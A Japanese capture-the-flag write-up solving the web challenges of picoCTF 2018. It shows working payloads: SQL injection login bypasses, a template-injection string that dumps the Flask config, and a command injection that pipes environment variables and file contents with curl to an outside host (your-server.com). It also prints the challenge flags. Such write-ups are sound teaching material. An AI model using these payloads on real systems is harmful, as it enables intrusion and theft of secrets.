picoCTF 2018 writeup (Web問題)

Logon - Points: 150

cookie の admin: False を admin: True に変えてページ更新

Irish Name Repo - Points: 200

username: admin password: ' OR 1=1 --

No Login - Points: 200

cookie に admin: true を追加した状態でアクセス

picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}

Secret Agent - Points: 200

user agent を Googlebot にする。

Chrome の場合は Developer tool > 右上の「︙」 > More tools > Network conditions から設定できる

picoCTF{s3cr3t_ag3nt_m4n_134ecd62}

Buttons - Points: 250

button1 は POST 、 button2 は GET のリクエストを送るようになっている。 button2.php に POST して見るだけでいけた。

curl -X POST http://2018shell1.picoctf.com:65107/button2.php

picoCTF{button_button_whose_got_the_button_91f6f39a}

The Vault - Points: 250

php のソースが提供されている。 クエリにマッチするレコードがあれば認証成功となる。 ただし、POST された値に OR が含まれるとインジェクションとみなされてはじかれるようになっている。 OR を使わないインジェクションをすればいい。

username: ' UNION SELECT 1 FROM users -- password: ``

picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}

Artisinal Handcrafted HTTP 3 - Points: 300

ブラウザが発行する HTTP リクエストを生で真似て投げる問題。 nc 2018shell1.picoctf.com 33281 で接続できるプロキシサーバが与えられる。 プロキシサーバを通してフラグを持つサーバ flag.local にアクセスする。 プロキシを通じてリクエストを投げるには nc 2018shell1.picoctf.com 33281 した状態で生の HTTP リクエストを発行する必要がある。 生の HTTP リクエストは、 post man を使って組み立てることもできる。

GET / HTTP/1.1
Host: flag.local
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <a href="/login">Login</a>
    </header>
    <main>
      <p>You need to log in before you can see today's flag.</p>
    </main>
  </body>
</html>
GET /login HTTP/1.1
Host: flag.local
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <a href="/login">Login</a>
    </header>
    <main>
      <h2>Log In</h2>
      <form method="POST" action="login">
        <input type="text" name="user" placeholder="Username" />
        <input type="password" name="pass" placeholder="Password" />
        <input type="submit" />
      </form>
    </main>
  </body>
</html>
POST /login HTTP/1.1
Host: flag.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

user=realbusinessuser&pass=potoooooooo
user=realbusinessuser&pass=potoooooooo
HTTP/1.1 302 Found
x-powered-by: Express
set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/
location: /
vary: Accept
content-type: text/plain; charset=utf-8
content-length: 23
date: Thu, 11 Oct 2018 15:59:02 GMT
connection: close

Found. Redirecting to /
GET / HTTP/1.1
Host: flag.local
Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D;
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="main.css" />
  </head>
  <body>
    <header>
      <h1>Real Business Internal Flag Server</h1>
      <div class="user">Real Business Employee</div>
      <a href="/logout">Logout</a>
    </header>
    <main>
      <p>Hello <b>Real Business Employee</b>!  Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_251f}</code>.</p>
    </main>
  </body>
</html>

Flaskcards - Points: 350

サーバサイドテンプレートインジェクションを使う。

以下を Question もしくは Answer フォームに入力すると、 flask の設定が出力される。

{{config.items()}}

fancy-alive-monitoring - Points: 400

問題概要

Monitoring tool と称した web ページが与えられる。 IP アドレスをフォームから submit すると、その IP に ping を打ってくれるというもの。 ソースコード index.php が与えられるので、中身を読むことができる。

TL;DR

  • コマンドインジェクション

解法

サーバ/クライエントサイド それぞれにて正規表現を使って validation チェックをしている。 クライエントサイドのチェックは、 console から check() 関数を上書きすれば回避できる。 サーバサイドのチェックには穴があって、最後に $ が抜けているので、submit した文字列が IP アドレスから始まってさえいればチェックを通過してしまう。 例えば 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com などとすると、サーバ側で実行されるコマンドは ping -c 1 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com となり、サーバの環境変数の値を自サーバに POST することができる。

上記コマンドインジェクションを使って、以下の手順で攻撃を行っていく。

  • 127.0.0.1 && curl -X POST -F "hoge=`ls`" http://your-server.com でどんなファイルがあるか確認。 super-secret-1765-flag.txt というファイルがあることがわかる。
  • 127.0.0.1 && curl -X POST -F "hoge=`cat super-secret-1765-flag.txt`" http://your-server.com でフラグが取得できる。